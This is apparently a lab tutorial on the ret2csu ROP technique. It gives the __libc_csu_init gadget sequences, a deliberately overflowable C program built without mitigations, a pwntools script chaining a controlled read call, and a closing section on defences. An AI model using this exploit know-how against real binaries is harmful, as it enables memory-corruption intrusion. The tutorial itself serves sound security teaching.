ret2csu: Borrowing the Runtime's Universal Gadget
No pop rdx gadget? The C runtime's startup code has a universal sequence that loads several registers and makes a controlled call. Build it with pwntools, and see where it's gone.
This is the ninth walkthrough in the Exploitation Techniques area. The SROP guide answered "not enough gadgets" with a forged signal frame. ret2csu answers the same problem differently: it borrows a universal gadget that the C runtime links into nearly every binary, letting you load several registers and make a controlled call even when a plain pop rdx is nowhere to be found.
Your own binary, disposable lab. See the lab rules.
The problem: no pop rdx
You want to call read(0, writable_addr, count) or execve(path, argv, envp), which need rdx set. But:
$ ROPgadget --binary vuln | grep 'pop rdx ; ret'
(nothing)
pop rdi ; ret and pop rsi ; ret exist; pop rdx does not. This is extremely common. ret2csu fills the gap.
The universal gadget
The classic C runtime function __libc_csu_init (present in most non-PIE and older dynamically linked binaries) ends with two reusable sequences. The first pops six registers:
; Gadget 1 — pop the callee-saved registers
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
The second moves them into argument registers and makes an indirect call:
; Gadget 2 — set args from the popped registers, then call
mov rdx, r15
mov rsi, r14
mov edi, r13d ; NOTE: 32-bit — only the low 32 bits of rdi
call qword [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop back>
; ... register restores ...
ret
So by choosing what Gadget 1 pops, we control the call:
| Register (popped) | Feeds | Becomes |
|---|---|---|
r15 | mov rdx, r15 | rdx (3rd arg) |
r14 | mov rsi, r14 | rsi (2nd arg) |
r13 | mov edi, r13d | low 32 bits of rdi (1st arg) |
r12, rbx | call [r12 + rbx*8] | the function pointer to call |
rbp | cmp rbp, rbx | loop control (set so it exits) |
Set rbx = 0 and rbp = 1: after add rbx, 1 makes rbx = 1, the cmp rbp, rbx matches and the loop exits cleanly instead of calling again. Put a pointer to a GOT entry in r12 (so [r12+0] holds a resolved function address), and Gadget 2 calls that function with our chosen rdx, rsi and low‑32 rdi.
The target and the chain
/* vuln.c — overflow, but few gadgets; classic CRT present. */
#include <unistd.h>
int main(void){ char b[64]; read(0,b,512); return 0; }
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
pwntools locates the two csu gadgets and packs the frame; understanding the layout is what lets you debug when it cannot:
# ret2csu.py — use ret2csu to call read(0, bss, 8) with a controlled rdx
from pwn import *
context.binary = elf = ELF("./vuln")
rop = ROP(elf)
# pwntools can often build the call directly using csu:
rop.call(elf.plt["read"], [0, elf.bss(0x200), 8]) # rdi=0, rsi=bss, rdx=8
info(rop.dump())
payload = flat({72: rop.chain()})
io = process("./vuln")
io.send(payload)
If you build it by hand, the stack is: Gadget 1 address, then the six popped values (rbx=0, rbp=1, r12=&read@got, r13=rdi, r14=rsi, r15=rdx), then Gadget 2's address. Because edi is only 32-bit, rdi values above 4 GB cannot be set this way — a real limitation you plan around (e.g. use it for the read that stages a cleaner chain, then pivot).
When __libc_csu_init is gone
Newer toolchains dropped the classic function, so the gadgets may not exist. The standard fallbacks:
- Gadgets in
__libc_start_mainor other CRT objects that happen to move values intordx. - ret2dlresolve — abuse the dynamic linker's lazy-resolution structures to resolve and call
systemby name, sidestepping the need to leak libc at all. - SROP — set every register via a signal frame.
pwntools' rop.call(...) raising because it cannot satisfy an argument is your signal that this binary needs one of these instead.
Turn the mitigations back on
ret2csu is "just" a ROP technique for register setup, so the mitigations that matter are the familiar ones for the hijack itself:
| Mitigation | Effect |
|---|---|
| Stack canary | Stops the overwrite that starts the chain |
| PIE + ASLR | Randomizes the csu gadget and GOT addresses; needs a leak |
| Full RELRO | The GOT entry r12 points at is still readable (RELRO only makes it read-only), so ret2csu can still call through it — but RELRO blocks overwriting it |
| Shadow stack / CET | Aborts the returns that drive the chain |
There is no ret2csu-specific mitigation because it exploits legitimate runtime code, not a bug. It disappears only when the toolchain stops emitting the gadget.
What this teaches a defender
- Argument-register gadgets are everywhere, including in code you did not write. The C runtime linked into your binary is part of the attack surface. Lean, statically minimal builds expose fewer such sequences.
- RELRO and ret2csu are orthogonal. RELRO stops writing the GOT (GOT overwrite); ret2csu reads and calls through it. Enabling RELRO does not touch this technique — another reminder that mitigations are targeted.
- The backbone defence stays the same: break the hijack (canary), hide the addresses (PIE + no leaks), and enforce backward-edge integrity (shadow stack). ret2csu, SROP and plain ROP all die at those choke points.
Key takeaways
- ret2csu borrows two sequences in
__libc_csu_initto loadrdx/rsi/low‑rdiand make a controlled call — the standard fix for a missingpop rdx. - Set
rbx=0,rbp=1to exit the loop, and pointr12at a GOT entry holding the function to call. mov edi, r13dis 32-bit, sordiis limited to 32 bits through this path — plan around it.- Modern toolchains may omit the gadget; ret2dlresolve and SROP are the fallbacks. No bug means no dedicated mitigation — only the usual hijack defences apply.
Next: stack pivoting, for when the overflow gives you too little room to hold the chain at all.